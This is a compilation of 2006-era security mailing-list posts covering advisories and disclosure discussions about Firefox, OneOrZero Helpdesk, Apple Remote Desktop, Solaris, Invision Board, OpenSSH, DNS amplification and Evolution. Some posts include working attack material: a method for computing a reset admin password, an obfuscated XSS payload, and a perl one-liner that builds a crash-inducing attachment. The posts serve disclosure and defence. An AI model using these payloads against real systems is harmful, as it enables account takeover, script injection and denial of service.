LuqumOW8RMX5Tuez3OgP3lwSMOI30sLHWa+7k5RmGTHstNPeWK90VwUzzpYS3RfA klmlGYb2r30tKvDFiWlriClSCfpjSAaXdck
Flaw in Firefox 2.0 Final
This flaw reported by Mozilla http://www.mozilla.org/security/announce/2006/mfsa2006-59.html is still unfixed in the latest Firefox 2.0 final. This exploit works in Firefox 2.0 Final: http://lcamtuf.coredump.cx/ffoxdie.html "Jonathan Watt and Michal Zalewski independently reported timing dependent testcases that trigger crashes at the same place during text display. We have seen no demonstration that these crashes could be reliably exploited, but they do show evidence of memory corruption so we presume they could be. Note: Thunderbird shares the browser engine with Firefox and could be vulnerable if JavaScript were to be enabled in mail. This is not the default setting and we strongly discourage users from enabling JavaScript in mail."
Advisory for Oneorzero helpdesk
Permanant Link : http://www.whitedust.net/speaks/3043/ - Advisory for OneOrZero Helpdesk - - OneOrZero Helpdesk - AFFECTED PRODUCTS = OneOrZero Helpdesk v1.6.0 - v1.6.4 OVERVIEW From the website: "The OneOrZero Open Source Task Management and Help Desk System is a powerful task management and help desk application, based to 'get the job done'." http://www.oneorzero.com/ An insecure password reset allows external knowledge of what the password is set to. DETAILS === 1. Information Disclosure The forgot password function will reset the password after a security question is answered. However, the admin user has this password left blank by default and is often left that way after the program is installed. By attempting to reset the admin password and leaving the answer blank one can force a reset of the password. However, since the password reset function sets the password based only on the username and the time on the server, the password that it is set to can be determine easily. Once the time of a server is discovered determining what the password is set to becomes trivial. POC === 1. -- The password is generated with the following code: $password = time().$_POST[username]; Quite often web servers will return the date on the servers for when the request is processed. For example "Date: Thu, 12 Oct 2006 01:11:21 GMT" The following command on a linux will return the unix time for the system for when the request was processed. bash$ date --date="Thu, 12 Oct 2006 01:11:21 GMT" "+%s" 1160615001 Which allows us to deduce the return password of 1160615001admin SOLUTION: = vendor contact: [EMAIL PROTECTED] Sept. 28 Vendor notification. [EMAIL PROTECTED] Sept. 29 Vendor reply [EMAIL PROTECTED] Oct. 10 oneorzero v1.6.5.4 released to address this issue. Credits === This vulnerability was discovered and researched by Michael Klingler whitehatguru at gmail.com SecurityMetrics, Inc.
Flaw in Firefox 2.0 RC2
http://lcamtuf.coredump.cx/ffoxdie.html this exploit still works with the latest Firefox 2.0 RC3
Re: Concurrency-related vulnerabilities in browsers - expect problems
http://lcamtuf.coredump.cx/ffoxdie.html this exploit still works with the latest Firefox 1.5.0.7 and Firefox 2.0 RC1
Re: Apple Remote Desktop root vulneravility
if I'm reading this right, it looks like a non-logged in workstation
could be vulnerable to a local root use if an admin is running an remote
install. so the "attacker" would have to know that a remote operation
is going on and the "attacker" would need physical access. or I may
just be reading this wrong.
~mike~
Yannick von Arx wrote:
> It seems so that the attacker needs a ARD enabled user plus vnc
> password to access the client.
> Then he can send an install command over "Manage > Send UNIX Command"
>
> We're talking about ARD 3.0 so we've got the new feature to lock
> client's screen with a message.
> From my point of view it's not a vulnerability in ARD, just an
> insecure point.
>
> Regards,
> Yannick von Arx
>
> On 19.09.2006, at 19:32, Erik Lat wrote:
>
>>
>> So in order for this vulnerability to be exploited, the attacker needs
>> to have a local account on the machine correct? Your exploitation
>> explanation
>> is a bit construed. Any more info / demostrations would be helpful.
>>
>> -Erik
>>
>> On 18 Sep 2006 21:26:52 -
>> [EMAIL PROTECTED] wrote:
>>
>>> Background:
>>> ARD allows unix commands to be remotely sent from an admin
>>> workstation. These commands can be run as root, because the ard
>>> administrator can be given sudo access. This exploit involves
>>> sending a unix command as root to install a package that was copied
>>> to /tmp/. In this case, the app is Adobe CS 2.0 using the adobe
>>> silent installation script. The script will mount disk images as
>>> root, run the install, then cleanup. If a standard user is logged
>>> in, they will see an icon on the dock for the install, but should
>>> never see anything besides the icon.
>>>
>>> The issue:
>>> The process LoginWindow is owned by the logged in user. If the
>>> system is at the login window, then the process LoginWindow is
>>> owned by root. If the system is mounting a disk image visible only
>>> to root, then the image will try to appear on the desktop. Clicking
>>> the mouse will force the desktop to appear, as well as the menus. A
>>> user sitting that the system will then see a finder window, and the
>>> root users home directory. The login window can be ignored, and the
>>> user has full root access. Files can be deleted without
>>> authentication, and the trash can be emptied. If a user tries to
>>> login, the login window will check their credentials, but they will
>>> end up logging in to the root desktop with root privileges.
>>>
>>> The workaround:
>>> If you are trying to run a remote install script such as the Adobe
>>> Silent installer, use the lock screen feature in ARD. This locks
>>> the users desktop until the admin is done doing their thing.
>>>
>>> The end result:
>>> http://www.flickr.com/photos/metfoo/246858852/
>>>
>>> Adobes script:
>>> #!/bin/sh
>>> #
>>> # Example script to run the Adobe Creative Suite 2 Installer silently.
>>> #
>>> #
>>> # Copyright: 2005 Adobe Systems, Inc.
>>> #
>>> #
>>>
>>>
>>> function detach_images
>>> {
>>> # umount any previous mounted installer images
>>> for NUMBER in 1 2 3 4
>>> do
>>> MOUNTED_POINT="/Volumes/Adobe Creative Suite Disk ${NUMBER} "
>>> /sbin/mount |/usr/bin/grep "${MOUNTED_POINT}" 2>/dev/null
>>> if [ $? -eq 0 ] ; then
>>> echo "Another \"${MOUNT_POINT}\" already attached."
>>> DEVICE=`/sbin/mount |/usr/bin/grep "${MOUNTED_POINT}"
>>> 2>/dev/ null |/usr/bin/cut -d" " -f1`
>>> if [ -b "${DEVICE}" ] ; then
>>> /usr/bin/hdiutil detach "${DEVICE}"
>>> echo "Detaching \"${DEVICE}\"..."
>>> fi
>>> fi
>>> done
>>> }
>>>
>>>
>>> SAVEDIR="`pwd`"
>>> trap 'cd "${SAVEDIR}"' EXIT
>>>
>>>
>>> if [ $# -ne 2 ] ; then
>>> echo "usage: $0 "
>>> exit 1
>>> fi
>>>
>>> IMGDIR=$1
>>> CONFIG=$2
>>>
>>>
>>> # Check OS Version, Minimum is 10.2.8
>>> OSVERSION=`/usr/bin/sw_vers |/usr/bin/grep ProductVersion
SYM06-16 Symantec NetBackup PureDisk Remote Office Edition Elevation of Privilege
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Symantec Security Advisory SYM06-015 16 August 2006 Symantec NetBackup PureDisk: Non-Privileged User Authentication Bypass Elevation of Privilege Revision History None Severity Medium (highly dependent on network configuration) Remote Access Yes Local Access No Authentication Required Yes (to network) Exploit publicly available No Overview Symantec discovered a security issue in Symantec's Veritas NetBackup 6.0 PureDisk Remote Office Edition. An unauthorized user with access to the network and the server hosting the management interface can potentially bypass the management interface authentication to gain access and elevate their privileges on the system. Supported Product(s) Affected Product: Symantec Veritas NetBackup PureDisk Remote Office Edition (all platforms) Version: 6.0 Builds: GA, MP1 Solution: NB_PDE_60_MP1_P01 NOTE: For systems running NetBackup 6.0 GA PureDisk Remote Office Edition it will be necessary to install Maintenance Pack 1 prior to applying this Security Pack. This issue ONLY affects the product and versions listed above. Details An internal review revealed a potential elevation of privilege issue in the Symantec Veritas NetBackup PureDisk management interface. The management interface is accessible only through an SSL web connection by default. However it is possible for a non-privileged user with access to the network and the server hosting the Symantec Veritas NetBackup PureDisk management interface, to bypass the management interface authentication and further leverage their access to elevate privileged access on the server. Symantec Response Symantec engineers have addressed the issues identified above and made Security updates available. Symantec strongly recommends all customers apply the latest security update to protect against threats of this nature. Symantec knows of no exploitation of or adverse customer impact from these issues. The patches listed above for affected products are available through the following location: http://support.veritas.com/docs/284734 for Symantec Veritas NetBackup PureDisk Remote Office Edition. Best Practices As part of normal best practices, Symantec recommends: - - - Restrict access to administration or management systems to authorized privileged users only - - - Block remote access to all ports not essential for efficient operation - - - Restrict remote access, if required, to trusted/authorized systems only - - - Remove/disable unnecessary accounts or restrict access according to security policy as required - - - Run under the principle of least privilege where possible - - - Keep all operating systems and applications updated with the latest vendor patches - - - Follow a multi-layered approach to security. Run both firewall and antivirus applications, at a minimum, to provide multiple points of detection and protection to both inbound and outbound threats - - - Deploy network intrusion detection systems to monitor network traffic for signs of anomalous or suspicious activity. This may aid in detection of attacks or Malicious activity related to exploitation of latest vulnerabilities CVE A CVE Candidate name is being requested from the Common Vulnerabilities and Exposures(CVE) initiative for this issue. This advisory will be revised accordingly upon receipt of the CVE Candidate name. This issue is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizesnames for security problems. -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.0.6 (Build 6060) iQEVAwUBRON4lRy6+gFWHby+AQigiwgAwk0k8rQhhhC9lRiTuHm+sSjPCoLHRSH/ OkR2WNZxSMP3z4AkYeJ7r/h465diPIdnkwAK9Q7pWpberooK2ffF2e5QpgIGLvB+ GoyyZddrAoKdix8wcQj9bgix+W+OiD93Bmh1q/iSBdFgJ6IvQNzEwdqLr2LXkG+W clz7Asv8LOn6p2kPACDQOKNGMJvlQD8csdRRo+bNUtjv8FGiZB7Q+NXKjlZa5JRB +ZlXWKfrlY5mjREcd7cTumif88wG7B4vc6Be0aPI0bGnICLdTT+xCwnKaGVLR+0i QucuAn5xJDn6of2HZ4IuGfKgTpdtO5uYIta5xRKhWew2r+1MjM5rTw== =sQoe -END PGP SIGNATURE- -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Symantec Security Advisory SYM06-015 16 August 2006 Symantec NetBackup PureDisk: Non-Privileged User Authentication Bypass Elevation of Privilege Revision History None Severity Medium (highly dependent on network configuration) Remote Access Yes Local Access No Authentication Required Yes (to network) Exploit publicly available No Overview Symantec discovered a security issue in Symantec's Veritas NetBackup 6.0 PureDisk Remote Office Edition. An unauthorized user with access to the network and the server hosting the management interface can potentially bypass the management interface authentication to gain access and elevate their privileges on the system. Supported Product(s) Affected Product: Symantec Veritas NetBackup PureDisk Remote Office Edition (all platforms) Version: 6.0 Builds: GA, MP1 Solution: NB_PDE_60_MP1_P01 NOTE: For systems running NetBackup 6.0 GA PureDisk Remote Office Edition it will be
Lan-Aces Office Logic
Does anyone use this email client? I have to say It would be in your best intrest to turn off html messages until I speak with tech support at Lan-Aces. If they do not respond within 24 hours I will post a huge security bypass exploit that works for all html & scripting blocking mechanisim. With this said
Re: New PowerPoint Trojan installs itself as LSP
> Is this 'mechanism' very common and is it difficult to detect by AV? No, but you have to be damned careful removing something installed as an LSP. I've seen literally hundreds of PCs with their network stack buggered because the owner tried to remove NewDotNet. NewDotNet inserts itself as an LSP. Regards, Mike Healan www.spywareinfo.com Juha-Matti Laurio wrote: > It appears that there is a new type of PowerPoint 0-day Trojan spreading, > more details at this write-up: > http://www.symantec.com/enterprise/security_response/writeup.jsp?docid=2 > 006-071812-3213-99 > > What the technical details section says is: > "Installs the file SNootern.dll as a layered service provider (LSP)" > > Wikipedia has only stub type article > http://en.wikipedia.org/wiki/Layered_Service_Provider > > Is this 'mechanism' very common and is it difficult to detect by AV? > > This new Trojan entitled as Riler.F opens a back door and tries to > connect to 8800.org, > earlier Bifrose Trojan uses (or used) this domain too. > > There is a new C variant of Trojan.PPDropper as well, but no information > about the file name of PowerPoint attachment etc. > Symantec reports Infection Length as 220,160 bytes, same as used by > Trojan.PPDropper.B. > This size information is from Trojan description of another vendor, > however. > > This summary has been updated to related PowerPoint 0-day FAQ document. > > Regards, > Juha-Matti > http://blogs.securiteam.com/index.php/archives/author/juha-matti/
Re: Msie 7.0 beta Crash
Nothing happens on IE7 Beta3. No crash
Re: Sun single-CPU DOS
:Sun says it is jabber, which is why I put it quotes. Since they have not :replicated in lab, they are jumping to conclusions. Yes, I agree, :it is very specific and the backline engineer usage appears 'stretching things' Most Sun adapters have an actual jabber counter that netstat -k will spew out for you. You can eliminate ambiguity easily enough. Here's an example I Google'd for: netstat -k eri0 eri0: ipackets 525571 ierrors 365 opackets 8446 oerrors 0 collisions 85 ifspeed 1000 rbytes 73324309 obytes 1118022 multircv 99205 multixmt 6 brdcstrcv 415863 brdcstxmt 10 norcvbuf 0 noxmtbuf 0 inits 4 rx_inits 8 tx_inits 1 nocarrier 1 nocanput 0 allocbfail 0 drop 321 pasue_rcv_cnt 0 pasue_on_cnt 0 pasue_off_cnt 0 pasue_time_cnt 0 txmac_urun 0 txmac_maxpkt_err 0 excessive_coll 0 late_coll 0 first_coll 35 defer_timer_exp 0 peak_attempt_cnt 0 jabber 0 no_tmds 0 (see, "jabber") tx_hang 0 rx_corr 0 no_free_rx_desc 0 rx_overflow 0 rx_hang 0 rx_align_err 64 rx_crc_err 19 rx_length_err 0 rx_code_viol_err 0 bad_pkts 321 runt 40 toolong_pkts 279 rxtag_error 0 parity_error 0 pci_error_interrupt 0 unknown_fatal 0 pci_data_parity_err 0 pci_signal_target_abort 0 pci_rcvd_target_abort 0 pci_rcvd_master_abort 0 pci_signal_system_err 0 pci_det_parity_err 0 ipackets64 525571 opackets64 8446 rbytes64 73324309 obytes64 1118022 pmcap 4 :In this case it's tcp/ip. : :step 1) telnet to router :step 2) ping some remote device on a fast link (like 2GB IP/Sonet) :step 3) watch as returning tcp/ip telnet stream DOS's the sun. : :it is not the cisco ping the is DOS'ing the sun, it is the return stream :of !!..!.!!!!!!..!!!... (ad infinitum) Ahhh, so it's just the return traffic from the Cisco printing out all those !!..!.!!! stuff (corresponding to whatever it is the the Cisco is pinging) that causes all this? Nifty! I didn't think that the Cisco could print that fast! I'm fairly certain it should rate-limit/sample that output (unless some automated thingy actually cares about that output coming from the Cisco). :the nagle comes into play in the tcp-stream not coalescing all the :single char tcp/ip packets each with a single ! or . in it. Makes perfect sense now that I get what the traffic is. As an aside, the Nagle algorithm was designed with telnet explicitly in mind, per RFC 896. But, a lot of folks these days use telnet for stuff apart from interactive use, and I could see someone wanting to disable it for performance' sake. For bare-bones stack implementations, Nagle may not be there at all. :right. totally agreed. it should not cause the machine to totally lock up. :(I specified wrong earlier, btw. Break still works, just nothing else does) That makes it sound even more like an interrupt issue rather than some overall system lock. :> In this particular case, if you're talking about ICMP, and there :> really isn't a "jabber"/physical layer issue afoot, the idea is for ... :getting that someone to not slap a 'jabber' label on things and :dismiss it out of hand is where I am currently frustrated beyond :belied. Beyond netstat -k, you can probably use lockstat or other kernel profiling tools as I mentioned in my earlier post to give them a good idea of where the bug really is. Interrupt issues aren't always going to be cut and dried. There could be some particular flavor of IOS, network adapter, media type, CPU, OS, etc. that is more prone or less prone to the problem. :well, yes, this was all quite accidental in the first place. :The solution is really quite easy, don't disable nagle on the :cisco in the first place. However, I'm much more concerned about :the implications of a normal user being able to DOS the machine and :Sun not caring enough to do due dilligence to address the issue. Judging from the amount of times we've exchanged emails (I should have asked for a network diagram sooner to help visualize this :) ), sometimes it's not so easy. And "what is or isn't a DoS" can be a grey line where reasonable people may differ. I could readily see someone saying "if you point a stupid amount of traffic at something it dies, have you considered just not doing that?". -- Mail: [EMAIL PROTECTED] WWW: http://dojo.mi.org/~mjo/ Phone: +1 650 933 9487 =--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--= "Even in the future, nothing works!" -Dark Helmet
Re: Sun single-CPU DOS
:Beyond netstat -k, you can probably use lockstat or other kernel :profiling tools as I mentioned in my earlier post to give them a :good idea of where the bug really is. Interrupt issues aren't :always going to be cut and dried. There could be some particular :flavor of IOS, network adapter, media type, CPU, OS, etc. that :is more prone or less prone to the problem. One other thought comes to mind is that it could be a particular tty discipline or STREAMS issue at hand. The -network- may not be as much of a factor as "how does the particular traffic that ends up displayed on the telnet client interplay with the OS". I doubt that's the issue in this particular case, but you never know. I've seen a whole lot of stranger things... -- Mail: [EMAIL PROTECTED] WWW: http://dojo.mi.org/~mjo/ Phone: +1 650 933 9487 =--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--= "I was being patient, but it took too long." -Anya, the Vengeance Demon
Re: Sun single-CPU DOS
Doug, :> :ping another device with interpacket delay of 0 and a count ... :> Define what you mean by "interpacket delay". Are you referring to an ... :cisco router. extending ping. 0 delay. :I was speaking of cisco ping. :I should have said 'timeout'. mea culpa. A between your using the term "interpacket" and your saying that Sun was talking about "jabber", I had assumed you were talking about the ethernet IPG / IFG. Ignore my "don't complain about your ethernet being DoS-ed if it's out-of-spec" remarks. :) :> For that manner, define "ping". You're certainly not talking about :running ping on the cisco to another device (preferably a fast :cisco as the source and a nice fast interface like a gige or :a IP/sonet) Cisco extended ping where you answer the prompts in a way to perform do a flood ping... gotcha, makes somewhat more sense now. :dedicated, switched Ethernet here. :it seems to mostly overwhelm the sun's interupt processing, but :that's just a theory since Sun has decided that the solution is to :unplug the machine on the other end. : :We're only talking about 14000 packets per second to kill a netra :T1. I've been able to drive one faster than that via other means :without causing a 'jabber effect'. How are you concluding that this is "jabber"? Does "netstat -k" show the jabber and relevant physical-layer counters incrementing on the ethernet interface in question, or is Sun just labelling that kind of traffic flow as jabber in some generic sense? The term "jabber" has specific meaning in some network contexts, and you should be able to determine if it really is or isn't physical-layer jabber if relevant netstat -k counters are incrementing. ... :> Now, that doesn't mean the -console- :> should go out to lunch (sounds like you're getting a little too much :> "The Network Is The Computer" :) ), ... :indeed. that's my issue, the console should not be hung. The machine :should not require a hard reset. And, I do not believe there is :an electrical problem. I'm not doing anything down that low, It's :just a TCP/IP stream, and, a not outrageous one at at that. Well, it's an IP stream, not necessarily TCP/IP -- more like ICMP/IP. I don't see an option for Cisco's extended ping to do a "TCP" ping: http://www.cisco.com/en/US/tech/tk365/technologies_tech_note09186a0080093f22.shtml (though I haven't had a need to memorize every nook and cranny of IOS in pursuit of some certification -- "I just make the stuff work...") Your talking about "disabling Nagle" in your initial post made it sound like a TCP stream, but if all you meant was setting the timeout to 0 on a typical ping to do a flood, then TCP and TCP-specific mechanisms like the Nagle algorithm aren't in play. :> My -suspicion- here is that it's the interrupts that the "stream of :> small TCP packets" generates that is leading to the system hang, but :> it'd take some kernel profiling to understand the specific impact. :> If the only way to generate the particular concentration of network :> interrupts along that ethernet interface involves outright breaking :> the ethernet spec, I can see where Sun rejects this as bogus from a :> -security- perspective. :> :See, that's where I have trouble. From a Security perspective, you'd :want to avoid the DOS via some kind of drop or disable mechanism :in the first place... IMHO. Well, I was talking about out-of-spec stuff when I wrote the above, but a similar thing would apply to network traffic that totally fills the pipe. I can drop/block/disable all the traffic in the world, but if more and more comes, my network is dead. Depending on the type of traffic, there may be absolutely nothing you can do to prevent the traffic from filling your network pipe and DoSing the interface. Of course, it shouldn't cause your console to silently hang up. In this particular case, if you're talking about ICMP, and there really isn't a "jabber"/physical layer issue afoot, the idea is for some combination of you and|or Sun to: a) Find out if it's really a function of interrupt load. Someone with expertise with lockstat or other Sun kernel profiling tools should be able to discern that. Look at the lockstat output for your system during a flood ping vs. lockstat output from the system sitting there under a "normal" network load and see if something stands out. It could be the case that the problem isn't necessarily interrupts, but the system being stuck in a particular lock or codepath related to the traffic. lockstat being driven by someone with clue should shake that out. Depending on the level of interrupt starvation, it may be the case that lockstat won't log anything useful during the flood ping. But, there's a whole lot of options and I'm not any particular expert in Solaris kernel internals. b) If so, mitigate the interrupt load. Assuming you isolate as an interrupt problem, the first step is to see if you can make the Sun do l
Re: Sun single-CPU DOS
:single CPU Sun microsystems system running solaris7, 8, or 9 :(haven't tested on 10). E.g. netra. : :if you telnet to a local router, disable nagle (on purpose :or by accident or whatever - if nagle is turned off), and then TCP_NODELAY by any other name, I assume. :ping another device with interpacket delay of 0 and a count Define what you mean by "interpacket delay". Are you referring to an Ethernet-specific setting, perhaps? Ethernet's "interpacket gap" is really about the gap between Ethernet frames, not IP packets. Having "packet" in the terminology leads people to think it's an IP thing, and ranks up their with "collisions" as far as misleading Ethernet terminology goes. Think of it as "interframe gap", or IFG. For that manner, define "ping". You're certainly not talking about /usr/sbin/ping, but something that spews out TCP, correct? It sounds like you're hitting the Sun system with a TCP ping stream -from- your router, correct? :of somewhere above 100,000 pings, it will effectively :DOS the machine you are telneting from. : :The machine becomes unusable, will not accept break on console. :totally hung. : :After opening a case with Sun on this issue and going back and :forth for 9 months, they have decided that I am manufacturing :jabber and the appropriate course of action is to remove the :offending device (the router in this case) from the network. If you're talking IFG... Having an IFG < 96 "bittimes (where the wall-clock units for bittimes varies as a function of specific ethernet speed) leads to out-of-spec Ethernet frames, which could reasonably be parsed as "jabber". The too-short IFG could lead the other node(s) in the ethernet not knowing when you've stopped sending any given frame. In a shared ethernet, you can also end up with fun conditions like the "capture effect". There's no requirement for the networking to that particular interface on the Sun to actually work in the face of a too-short IFG or any other physical out-of-spec condition. Now, that doesn't mean the -console- should go out to lunch (sounds like you're getting a little too much "The Network Is The Computer" :) ), but it's perfectly ok to simply not listen or xmit on an ethernet that's chronically out-of-spec. If Sun were to tweak things so it could detect and log the out-of-spec network and react to it by downing the interface, rather than just keep listening and accumulating a ton of bogusly-spaced interrupts that bog it down, that would seem to be reasonable. Some Unixes have userspace routing daemons that periodically look for network brokenness and will ifconfig the interface down But, if the system is bogged down quickly enough where that those processes never get a chance to run, such forms of mitigation won't work. Oh as an important side note -- your Sun is set up where it won't hang owing to network dependencies if its interface is ifconfig'ed up, but the actual network it talks to is offline, right? Otherwise, you are making yourself DoS-prone in a whole lot of ways besides pfutzing with out-of-spec ethernets. :In other words, they refuse to fix the DOS issue under the assertion :that it is a physical issue rather than an issue of the OS :improperly handling a stream of small TCP packets. My -suspicion- here is that it's the interrupts that the "stream of small TCP packets" generates that is leading to the system hang, but it'd take some kernel profiling to understand the specific impact. If the only way to generate the particular concentration of network interrupts along that ethernet interface involves outright breaking the ethernet spec, I can see where Sun rejects this as bogus from a -security- perspective. Have you tried with, say, tiny UDP packets, without messing around with the IFG (and no need to mess with the TCP-only Nagle algorithm)? That might hit the interface hard in a way that will show the problem without an out-of-spec ethernet (or it might not -- interrupt timing attacks can be very "fussy"). Have you tried doing a back-to-back configuration with another Sun? It -could- be the case that only a very particular flavor of interrupt load triggers this, that it's not a terribly generic problem. FWIW, there's a number of old (and sometimes not-so-old) ethernet NICs that will "seize up" and need "kicking" (typically an ifconfig down/up at a Unix OS level) in the face of various flavors of out-of-spec events No, I don't have a laundry list of such NICs, though I'd imagine that the folks http://iol.unh.edu might. As long as the OS drivers for such NICs don't take the rest of the OS down for the ride when the NIC hangs up in the face of the out-of-spec event, it's not a big deal DoS in my mind. If you have some ethernet where it's way too easy to propagate out-of-spec ethernet events, fix the ethernet. :They have closed the escalation, so I am left with no recourse but :to report it as a bug to the rest of you. : :For machines with more than 1 CPU, one cpu
RE: Invision Vulnerabilities, including remote code execution
Response inline
> -Original Message-
> From: Steven M. Christey [mailto:[EMAIL PROTECTED]
> Sent: 26 April 2006 20:41
> To: bugtraq@securityfocus.com
> Subject: Re: Invision Vulnerabilities, including remote code execution
>
>
> > sources/action_public/search.php line 1261 $this->output =
> > preg_replace(
> > "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1
> > selected='selected'", $this->output );
> >
> >...
> >an #e modifier is added and then %00 used which will be parsed as a
> >null byte and truncate the string thus removing the original
> )#i part.
>
> This is a very interesting bug: modifying a regular
> expression in a way that accesses the execution functionality.
>
> In general, regexp hacking seems to be a fruitful area for research.
> As another example, null characters have been used to bypass
> security-relevant regexp checks.
>
Indeed. Invision is (to be frank) an appalling example of handling user
input. Posts go through a plethora of regexes, and there are
canonicalization issues all over the place with html and url escaped codes
(&#...; and %xx) being decoded where they shouldn't be decoded. Posts go
through numerous conversions on their way in to the database (where they are
mixed with HTML) and also on their way out, opening up a whole range of
potential vulnerabilities.
One example of this (that should work in current versions) is to insert the
following code into a new post:
<a href="#"
f;nmouseover="&#
x6a;avascript:al
ert('Hey the
2;e');">Hover &#
x6f;ver this</a>
Decoded this is:
Hover over this
Somewhere in the source of IPB, this is decoded and ends up in the resulting
post.
Another problem is PHP's strings. All sorts of strange and wonderful things
happen when you start inserting line breaks, nulls, and backspaces (\x08).
I think an important area of development for modern web languages would be
to mark strings as being 'safe' (escaped) or not... and making it as hard as
possible for a programmer to use unsafe strings. I've even written a short
page describing an idea for a PHP class that should help developers avoid
issues with sanitation/escaping:
http://www.we11er.co.uk/programming/safestring.html
> As "input validation" becomes more frequent, it seems likely
> that these kinds of vulns will be introduced more often.
> Other languages with rich regexp capabilities might be
> subject to similar issues.
>
> - Steve
>
Mike
Re: Strengthen OpenSSH security?
Brett Glass wrote: It seems to me that sshd should not tip its hand by returning different responses when a user ID can be used for logins than when it can't -- allowing an attacker to focus password guessing attacks on user IDs with which it would have a chance of gaining access. For those folks out there who are more familiar with OpenSSH than I am: How hard would it be to make the responses indistinguishable? This has been a known issue for some time (Google), so I guess it's about time someone started using it rather than the usual "a, aa, aaa, aba, abb, ... z" type attacks I usually see. Those always make me laugh. While I agree with your point, I'm not versed enough in the SSH protocol (and don't feel like Googling again myself) to know if there's a technical reason (timing, etc.) that this behavior exhibits itself. This should raise an interesting discussion. FWIW, I found that this sort of enumeration was possible myself when researching 2-factor authentication with OpenSSH. That being said, I'd suggest configuring 2-factor authentication for any truly critical SSH gateways into your network. If you don't want to dole out the cash for key fobs (including the cash to purchase them again and again as employees break them with really creative excuses ;), you can use public keys as "something employees have" along with the usual password for "something employees know". With two-factor enabled, having either the key (stolen laptop) or the password (successful dictionary attack) won't permit access and will log the attempt. http://bugzilla.mindrot.org/show_bug.cgi?id=983 Have been using this patch against the latest OpenSSH-stable release for awhile now along with appropriate log watchers, and getting a bit more sleep at night. --Mike
Re: recursive DNS servers DDoS as a growing DDoS problem
If you have a 20,000 bot botnet and each bot has 2 defined recursive dns servers that it is allowed to use and these bots are on the local subnet (ie BCP38 is implimented at the gateway but not at every router) then how exactly is locking down recursive servers so you can only use yours going to solve anything? uh... caching maybe?... the second field of your answer section when using dig.. To fix DNS we would have to eliminate it's use of UDP which means pretty much all internet software would need to be rewritten, that is an unrealistic goal. no, its not, and it doesnt require that all internet sofware be rewritten, it means that they either need to be recompiled, or just have the dynamicly linked library they use for dns resolution to be replaced.. Locking down recursive servers may increase the number of machines required to create a flood but again a large botnet will have no problem so that's no solution either. BCP38 will accomplish the same ineffective goal but at least has the added potential to reduce non DNS related spoofed attacks at the same time making it easier to at least track down the sources of a distributed flood at least to the provider level if not to the exact IP. i think its pretty obvious that locking down dns servers at least brings the DNS attacks down to the same problem weve always had.. that being good old fashioned udp packeting. and at that point.. why bother using dns.. -phar
Re: Evil side of Firefox extensions
On 3/1/06, azurIt <[EMAIL PROTECTED]> wrote: > the internet. The worst of all is that _anyone_, who has physical access to > your computer, can install extensions into your browser _without_ your > notification. Not on a multi-user system. For example, on this Linux workstation, I can install extensions for myself, but other users can't use them because they are installed into my ~/.mozilla/firefox/blah/extensions directory. If they are installed by root, then everyone can use them because they are installed into /opt/firefox/extensions. If you give everyone full access to your workstation, you deserve the consequences. Mike
gnome evolution mail client inline text file DoS issue
i admit, i posted this bug just a short while ago, but since its an anoyance more then a vuln.. i dont really care.. be glad i didnt demo it here :) (for evolution users anyway) so the issue is with text based file attachments with the "Content-Disposition" set to "inline".. if this text file contains a single line of excessive length.. evolution dies.. even worse, ive had this take down my X server during testing but i cant reproduce it reliably. but im sure someone else will. another unfortunate feature of evoltion is that it will reopen to the message that crashed it when restarting after the crash.. pretty much making evolution unusable untill you clean the damn message out of your inbox (not to mention your local cache)... oh and dont think your faster by trying to click another message while evoltion loads.. this seems to increase the odds of killing your X server.. so, to try this out yourself, first create an email attachment that evolution doesnt mind displaying inline.. perl -e 'printf "A"x4' > evolution-dos-poc.xml attach the file, suggest inline display of the xml file, and send to an unfortunate bastard^H^H^H^H^H^H^H friend who happens to run evolution.. im not sure how to work around this in the short run, sorry guys. it might almost be worth having an option to disable the auto display of inlined files.. enjoy -phar
Re: WMF vulnerability was a deliberate backdoor?
Brooks, Shane wrote: I've recently had my attention brought to a post from Steve Gibson in the grc.com forums, which contains the following quote: The only conclusion that can reasonably be drawn is that this [setAbortProc procedure] was a deliberate backdoor put into all of Microsoft's recent editions of Windows. full article here: http://www.grc.com/x/news.exe?cmd=article&group=grc.news.feedback&item=60006 thoughts? Shane, What you read was classic Gibson: a thorough discussion of a technical problem, followed by a wild speculative jump regarding the motives of the people who wrote the code. He's been doing this for years, which is why you may notice folks here take a very jaded view of anything he says - ever. In the specific case of his commentary on the WMV vulnerability, I have read the same writeup you have read, and what my read on it was that he was saying something like the following: "There's an unhandled exception that doesn't even need to be there in the first place, therefore it's a deliberate backdoor." To me, this just screams "Does Not Follow!" I've seen plenty of equally stupid mistakes coming from Redmond (and elsewhere) that didn't happen to result in remote code execution, but were nonetheless astonishingly dumb. For example, up until a couple days ago, you could make the error handler at ideas.live.com write all sorts of amusing stuff to their 404 page simply by appending it to the URL. Was it a security risk? Possibly, probably not. Was it really dumb? Duh. So my take on Gibson's post can be summed up as follows: Interesting writeup on the problem, but he's come nowhere close to proving to me that the WMF vulnerability was deliberate. If he wanted to show me the sourcecode where it has a comment like "/* The following code is here at the behest of No Such Agency. Do not remove from future versions. */" I might start to consider the possibility of some dark conspiricy. As it stands, it just looks to me like Yet Another Dumb Screwup by Microsoft (YADSM). Cheers, Mike Ely
Re: Countering Trusting Trust through Diverse Double-Compiling
David, I haven't read the original attack description recently, but; I seam to remember that the ability of the tampered compiler to inject malicious code could be stateful. Either a timing attack, or a attack after n-builds, so that malicious code is injected in an arbitrary, pseudo-random, less detectable way. Also, that this code would be injected based on compiler state conditions (like after keywords indicated that the code may be network based). I haven't read your paper, yet; but; I'd be interested know where you'd plan to discuss scenarios where your counter attack would fail. Thank you. Best regards, -- Mike
Re: - Cisco IOS HTTP Server code injection/execution vulnerability-
